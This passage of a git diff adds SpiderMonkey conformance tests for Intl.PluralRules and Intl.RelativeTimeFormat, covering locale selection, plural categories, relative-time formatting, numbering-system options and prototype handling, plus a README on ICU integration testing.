+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyPluralRules, [], Array);
+assertEq(obj instanceof MyPluralRules, false);
+assertEq(obj instanceof Intl.PluralRules, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.PluralRules, [], Array);
+assertEq(obj instanceof Intl.PluralRules, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %PluralRulesPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.PluralRules, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyPluralRules, false);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.PluralRules, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.PluralRules, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/PluralRules/cross-compartment.js b/js/src/tests/non262/Intl/PluralRules/cross-compartment.js
new file mode 100644
index 0000000000..ff59f35957
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/cross-compartment.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var pluralRules = new Intl.PluralRules();
+var ccwPluralRules = new otherGlobal.Intl.PluralRules();
+
+// Test Intl.PluralRules.prototype.select with a CCW object.
+var Intl_PluralRules_select = Intl.PluralRules.prototype.select;
+
+assertEq(Intl_PluralRules_select.call(ccwPluralRules, 0),
+ Intl_PluralRules_select.call(pluralRules, 0));
+
+// Test Intl.PluralRules.prototype.resolvedOptions with a CCW object.
+var Intl_PluralRules_resolvedOptions = Intl.PluralRules.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_PluralRules_resolvedOptions.call(ccwPluralRules),
+ Intl_PluralRules_resolvedOptions.call(pluralRules)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js b/js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js
new file mode 100644
index 0000000000..615e533466
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const optionsList = [
+ {minimumFractionDigits: -0, maximumFractionDigits: -0},
+ {minimumFractionDigits: -0, maximumFractionDigits: +0},
+ {minimumFractionDigits: +0, maximumFractionDigits: -0},
+ {minimumFractionDigits: +0, maximumFractionDigits: +0},
+];
+
+for (let options of optionsList) {
+ let pluralRules = new Intl.PluralRules("en-US", options);
+
+ let {minimumFractionDigits, maximumFractionDigits} = pluralRules.resolvedOptions();
+ assertEq(minimumFractionDigits, +0);
+ assertEq(maximumFractionDigits, +0);
+
+ assertEq(pluralRules.select(123), "other");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/pluralrules.js b/js/src/tests/non262/Intl/PluralRules/pluralrules.js
new file mode 100644
index 0000000000..20d6117b3b
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/pluralrules.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Tests the format function with a diverse set of locales and options.
+
+var pr;
+
+pr = new Intl.PluralRules("en-us");
+assertEq(pr.resolvedOptions().locale, "en-US");
+assertEq(pr.resolvedOptions().type, "cardinal");
+assertEq(pr.resolvedOptions().pluralCategories.length, 2);
+
+pr = new Intl.PluralRules("de", {type: 'cardinal'});
+assertEq(pr.resolvedOptions().pluralCategories.length, 2);
+
+pr = new Intl.PluralRules("de", {type: 'ordinal'});
+assertEq(pr.resolvedOptions().pluralCategories.length, 1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js b/js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js
new file mode 100644
index 0000000000..3591aba32b
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Tests the PluralRules.resolvedOptions function for overriden Array[Symbol.species].
+
+var pl = new Intl.PluralRules("de");
+
+Object.defineProperty(Array, Symbol.species, {
+ value: function() {
+ return new Proxy(["?"], {
+ get(t, pk, r) {
+ return Reflect.get(t, pk, r);
+ },
+ defineProperty(t, pk) {
+ return true;
+ }
+ });
+ }
+});
+
+var pluralCategories = pl.resolvedOptions().pluralCategories;
+
+assertEqArray(pluralCategories, ["one", "other"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/PluralRules/rounding.js b/js/src/tests/non262/Intl/PluralRules/rounding.js
new file mode 100644
index 0000000000..6f9b5f9936
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/rounding.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// The rounding mode defaults to half-up for both NumberFormat and PluralRules.
+
+var locale = "en";
+var options = {maximumFractionDigits: 0};
+
+assertEq(new Intl.NumberFormat(locale, options).format(0), "0");
+assertEq(new Intl.NumberFormat(locale, options).format(0.5), "1");
+assertEq(new Intl.NumberFormat(locale, options).format(1), "1");
+
+assertEq(new Intl.PluralRules(locale, options).select(0), "other");
+assertEq(new Intl.PluralRules(locale, options).select(0.5), "one");
+assertEq(new Intl.PluralRules(locale, options).select(1), "one");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/PluralRules/select.js b/js/src/tests/non262/Intl/PluralRules/select.js
new file mode 100644
index 0000000000..dcc057ec3c
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/select.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Tests the format function with a diverse set of locales and options.
+
+var pr;
+
+pr = new Intl.PluralRules("en-us");
+assertEq(pr.select(0), "other");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1.2), "other");
+assertEq(pr.select(1.5), "other");
+assertEq(pr.select(1.7), "other");
+assertEq(pr.select(-1), "one");
+assertEq(pr.select(1), "one");
+assertEq(pr.select("1"), "one");
+assertEq(pr.select(123456789.123456789), "other");
+
+pr = new Intl.PluralRules("de", {type: "cardinal"});
+assertEq(pr.select(0), "other");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1.2), "other");
+assertEq(pr.select(1.5), "other");
+assertEq(pr.select(1.7), "other");
+assertEq(pr.select(-1), "one");
+
+pr = new Intl.PluralRules("de", {type: "ordinal"});
+assertEq(pr.select(0), "other");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1.2), "other");
+assertEq(pr.select(1.5), "other");
+assertEq(pr.select(1.7), "other");
+assertEq(pr.select(-1), "other");
+
+pr = new Intl.PluralRules("pl", {type: "cardinal"});
+assertEq(pr.select(0), "many");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1), "one");
+
+pr = new Intl.PluralRules("pl", {type: "cardinal", maximumFractionDigits: 0});
+assertEq(pr.select(1.1), "one");
+
+pr = new Intl.PluralRules("pl", {type: "cardinal", maximumFractionDigits: 1});
+assertEq(pr.select(1.1), "other");
+
+pr = new Intl.PluralRules("en", {type: "cardinal", minimumFractionDigits: 0});
+assertEq(pr.select(1), "one");
+
+pr = new Intl.PluralRules("en", {type: "cardinal", minimumFractionDigits: 2});
+assertEq(pr.select(1), "other");
+
+var weirdCases = [
+ NaN,
+ Infinity,
+ "word",
+ [0,2],
+ {},
+];
+
+for (let c of weirdCases) {
+ assertEq(pr.select(c), "other");
+};
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/PluralRules/shell.js b/js/src/tests/non262/Intl/PluralRules/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/shell.js
diff --git a/js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js b/js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js
new file mode 100644
index 0000000000..7c6ebe8c45
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js
@@ -0,0 +1,369 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+// This array contains the locales that ICU supports in
+// number formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-posix",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+const result = Intl.PluralRules.supportedLocalesOf(locales);
+
+assertEqArray(locales, result);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/README.txt b/js/src/tests/non262/Intl/README.txt
new file mode 100644
index 0000000000..797b49ab5c
--- /dev/null
+++ b/js/src/tests/non262/Intl/README.txt
@@ -0,0 +1,27 @@
+Integration Tests for ECMAScript Internationalization API
+=========================================================
+
+The tests in this directory test the integration of the ICU library
+(Internationalization Components for Unicode) into the implementation of the
+ECMAScript Internationalization API in SpiderMonkey.
+
+These integration tests are complementary to:
+
+- The Test402 test suite maintained by Ecma TC39, which tests conformance of
+ an implementation to standard ECMA-402, ECMAScript Internationalization API
+ Specification. Test402 is currently maintained as part of Test262, the overall
+ conformance test suite for ECMAScript; for more information, see
+ http://wiki.ecmascript.org/doku.php?id=test262:test262
+
+- The test suite of the ICU library, which tests the implementation of ICU
+ itself and correct interpretation of the locale data it obtains from CLDR
+ (Common Locale Data Repository). For information on ICU, see
+ http://site.icu-project.org
+
+The integration tests check for a variety of locales and options whether the
+results are localized in a way that indicates correct integration with ICU.
+Such tests are somewhat fragile because the underlying locale data reflects
+real world usage and is therefore subject to change. When the ICU library used
+by Mozilla is upgraded, it is likely that some of the integration tests will
+fail because of locale data changes; however, others might fail because of
+actual software bugs. Failures therefore have to be examined carefully.
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/browser.js b/js/src/tests/non262/Intl/RelativeTimeFormat/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/browser.js
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js b/js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js
new file mode 100644
index 0000000000..c20c07434e
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var obj = new Intl.RelativeTimeFormat();
+
+// Test that new RTF produces an object with the right prototype.
+assertEq(Object.getPrototypeOf(obj), Intl.RelativeTimeFormat.prototype);
+
+// Test subclassing %Intl.RelativeTimeFormat% works correctly.
+class MyRelativeTimeFormat extends Intl.RelativeTimeFormat {}
+
+var obj = new MyRelativeTimeFormat();
+assertEq(obj instanceof MyRelativeTimeFormat, true);
+assertEq(obj instanceof Intl.RelativeTimeFormat, true);
+assertEq(Object.getPrototypeOf(obj), MyRelativeTimeFormat.prototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js b/js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js
new file mode 100644
index 0000000000..c826538f39
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var relativeTimeFormat = new Intl.RelativeTimeFormat();
+var ccwRelativeTimeFormat = new otherGlobal.Intl.RelativeTimeFormat();
+
+// Test Intl.RelativeTimeFormat.prototype.format with a CCW object.
+var Intl_RelativeTimeFormat_format = Intl.RelativeTimeFormat.prototype.format;
+
+assertEq(Intl_RelativeTimeFormat_format.call(ccwRelativeTimeFormat, 0, "hour"),
+ Intl_RelativeTimeFormat_format.call(relativeTimeFormat, 0, "hour"));
+
+// Test Intl.RelativeTimeFormat.prototype.resolvedOptions with a CCW object.
+var Intl_RelativeTimeFormat_resolvedOptions = Intl.RelativeTimeFormat.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_RelativeTimeFormat_resolvedOptions.call(ccwRelativeTimeFormat),
+ Intl_RelativeTimeFormat_resolvedOptions.call(relativeTimeFormat)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/format.js b/js/src/tests/non262/Intl/RelativeTimeFormat/format.js
new file mode 100644
index 0000000000..244dbb5c56
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/format.js
@@ -0,0 +1,145 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+
+var rtf;
+
+{
+ // Numeric format
+ rtf = new Intl.RelativeTimeFormat("en-US");
+ assertEq(rtf.format(0, "second"), "in 0 seconds");
+ assertEq(rtf.format(-0, "second"), "0 seconds ago");
+ assertEq(rtf.format(-1, "second"), "1 second ago");
+ assertEq(rtf.format(1, "second"), "in 1 second");
+
+ assertEq(rtf.format(0, "minute"), "in 0 minutes");
+ assertEq(rtf.format(-0, "minute"), "0 minutes ago");
+ assertEq(rtf.format(-1, "minute"), "1 minute ago");
+ assertEq(rtf.format(1, "minute"), "in 1 minute");
+
+ assertEq(rtf.format(0, "hour"), "in 0 hours");
+ assertEq(rtf.format(-0, "hour"), "0 hours ago");
+ assertEq(rtf.format(-1, "hour"), "1 hour ago");
+ assertEq(rtf.format(1, "hour"), "in 1 hour");
+
+ assertEq(rtf.format(0, "day"), "in 0 days");
+ assertEq(rtf.format(-0, "day"), "0 days ago");
+ assertEq(rtf.format(-1, "day"), "1 day ago");
+ assertEq(rtf.format(1, "day"), "in 1 day");
+
+ assertEq(rtf.format(0, "week"), "in 0 weeks");
+ assertEq(rtf.format(-0, "week"), "0 weeks ago");
+ assertEq(rtf.format(-1, "week"), "1 week ago");
+ assertEq(rtf.format(1, "week"), "in 1 week");
+
+ assertEq(rtf.format(0, "month"), "in 0 months");
+ assertEq(rtf.format(-0, "month"), "0 months ago");
+ assertEq(rtf.format(-1, "month"), "1 month ago");
+ assertEq(rtf.format(1, "month"), "in 1 month");
+
+ assertEq(rtf.format(0, "year"), "in 0 years");
+ assertEq(rtf.format(-0, "year"), "0 years ago");
+ assertEq(rtf.format(-1, "year"), "1 year ago");
+ assertEq(rtf.format(1, "year"), "in 1 year");
+}
+
+{
+ // Text format
+ rtf = new Intl.RelativeTimeFormat("en-US", {
+ numeric: "auto"
+ });
+ assertEq(rtf.format(0, "second"), "now");
+ assertEq(rtf.format(-0, "second"), "now");
+ assertEq(rtf.format(-1, "second"), "1 second ago");
+ assertEq(rtf.format(1, "second"), "in 1 second");
+
+ assertEq(rtf.format(0, "minute"), "this minute");
+ assertEq(rtf.format(-0, "minute"), "this minute");
+ assertEq(rtf.format(-1, "minute"), "1 minute ago");
+ assertEq(rtf.format(1, "minute"), "in 1 minute");
+
+ assertEq(rtf.format(0, "hour"), "this hour");
+ assertEq(rtf.format(-0, "hour"), "this hour");
+ assertEq(rtf.format(-1, "hour"), "1 hour ago");
+ assertEq(rtf.format(1, "hour"), "in 1 hour");
+
+ assertEq(rtf.format(0, "day"), "today");
+ assertEq(rtf.format(-0, "day"), "today");
+ assertEq(rtf.format(-1, "day"), "yesterday");
+ assertEq(rtf.format(1, "day"), "tomorrow");
+
+ assertEq(rtf.format(0, "week"), "this week");
+ assertEq(rtf.format(-0, "week"), "this week");
+ assertEq(rtf.format(-1, "week"), "last week");
+ assertEq(rtf.format(1, "week"), "next week");
+
+ assertEq(rtf.format(0, "month"), "this month");
+ assertEq(rtf.format(-0, "month"), "this month");
+ assertEq(rtf.format(-1, "month"), "last month");
+ assertEq(rtf.format(1, "month"), "next month");
+
+ assertEq(rtf.format(0, "year"), "this year");
+ assertEq(rtf.format(-0, "year"), "this year");
+ assertEq(rtf.format(-1, "year"), "last year");
+ assertEq(rtf.format(1, "year"), "next year");
+}
+
+{
+ // Plural specifier
+ rtf = new Intl.RelativeTimeFormat("en-US");
+ assertEq(rtf.format(1, "seconds"), "in 1 second");
+ assertEq(rtf.format(1, "minutes"), "in 1 minute");
+ assertEq(rtf.format(1, "hours"), "in 1 hour");
+ assertEq(rtf.format(1, "days"), "in 1 day");
+ assertEq(rtf.format(1, "weeks"), "in 1 week");
+ assertEq(rtf.format(1, "months"), "in 1 month");
+ assertEq(rtf.format(1, "years"), "in 1 year");
+}
+
+rtf = new Intl.RelativeTimeFormat("de", {numeric: "auto"});
+assertEq(rtf.format(-1, "day"), "gestern");
+assertEq(rtf.format(1, "day"), "morgen");
+
+rtf = new Intl.RelativeTimeFormat("ar", {numeric: "auto"});
+assertEq(rtf.format(-1, "day"), "أمس");
+assertEq(rtf.format(1, "day"), "غدًا");
+
+
+rtf = new Intl.RelativeTimeFormat("en-US");
+
+var weirdValueCases = [
+ Infinity,
+ -Infinity,
+ NaN,
+ "word",
+ [0,2],
+ {},
+];
+
+for (let c of weirdValueCases) {
+ assertThrowsInstanceOf(() => rtf.format(c, "year"), RangeError);
+};
+
+var weirdUnitCases = [
+ "test",
+ "SECOND",
+ "sEcOnD",
+ 1,
+ NaN,
+ undefined,
+ null,
+ {},
+];
+
+for (let u of weirdUnitCases) {
+ assertThrowsInstanceOf(function() {
+ var rtf = new Intl.RelativeTimeFormat("en-US");
+ rtf.format(1, u);
+ }, RangeError);
+};
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js b/js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js
new file mode 100644
index 0000000000..76917c6fa0
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// In locales that don't have a relative-date/time formatter -- and presently
+// "ak" is such a locale -- behavior is expected to fall back to the root-locale
+// formatter. This test verifies such fallback works as long as "ak" satisfies
+// these properties; "ak" may safely be changed to a different locale if that
+// ever changes. See bug 1504656.
+assertEq(new Intl.RelativeTimeFormat("ak").format(1, "second"),
+ "+1 s");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js b/js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js
new file mode 100644
index 0000000000..d9a860bb01
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Ensure passing the default numbering system leads to the same result as when
+// no explicit numbering system is present.
+//
+// This is a regression test for the ICU issue reported at
+// <https://unicode-org.atlassian.net/browse/ICU-20280>.
+
+for (var requestedLocale of [undefined, "en", "de", "fr"]) {
+ var rtf = new Intl.RelativeTimeFormat(requestedLocale);
+ var {locale, numberingSystem} = rtf.resolvedOptions();
+ var rtfNu = new Intl.RelativeTimeFormat(`${locale}-u-nu-${numberingSystem}`);
+
+ for (var unit of ["year", "quarter", "month", "week", "day", "hour", "minute", "second"]) {
+ for (var value of [-10, -3, -2, -1, 0, 1, 2, 3, 10]) {
+ assertEq(rtfNu.format(value, unit), rtf.format(value, unit));
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js b/js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js
new file mode 100644
index 0000000000..bbde290dfa
--- /dev/null
+++ b/js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js
@@ -0,0 +1,60 @@
+const defaultLocale = "en";
+const defaultNumberingSystem = new Intl.RelativeTimeFormat(defaultLocale).resolvedOptions().numberingSystem;
+
+function createWithLocale(locale, numberingSystem) {
+ return new Intl.RelativeTimeFormat(locale, {numberingSystem});
+}
+
+function create(numberingSystem) {
+ return createWithLocale(defaultLocale, numberingSystem);
+}
+
+// Empty string should throw.
+assertThrowsInstanceOf(() => create(""), RangeError);
+
+// Trailing \0 should throw.
+assertThrowsInstanceOf(() => create("latn\0"), RangeError);
+
+// Too short or too long strings should throw.
+assertThrowsInstanceOf(() => create("a"), RangeError);
+assertThrowsInstanceOf(() => create("toolongstring"), RangeError);
+
+// Throw even when prefix is valid.
+assertThrowsInstanceOf(() => create("latn-toolongstring"), RangeError);
+
+// |numberingSystem| can be set to |undefined|.
+let nf = create(undefined);
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Unsupported numbering systems are ignored.
+nf = create("xxxxxxxx");
+assertEq(nf.resolvedOptions().numberingSystem, defaultNumberingSystem);
+
+// Numbering system in options overwrite Unicode extension keyword.
+nf = createWithLocale(`${defaultLocale}-u-nu-thai`, "arab");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+// |numberingSystem| option ignores case.
+nf = create("ARAB");
+assertEq(nf.resolvedOptions().locale, defaultLocale);
+assertEq(nf.resolvedOptions().numberingSystem, "arab");
+
+for (let [numberingSystem, {algorithmic}] of Object.entries(numberingSystems)) {
+ let nf1 = new Intl.RelativeTimeFormat(`${defaultLocale}-u-nu-${numberingSystem}`);
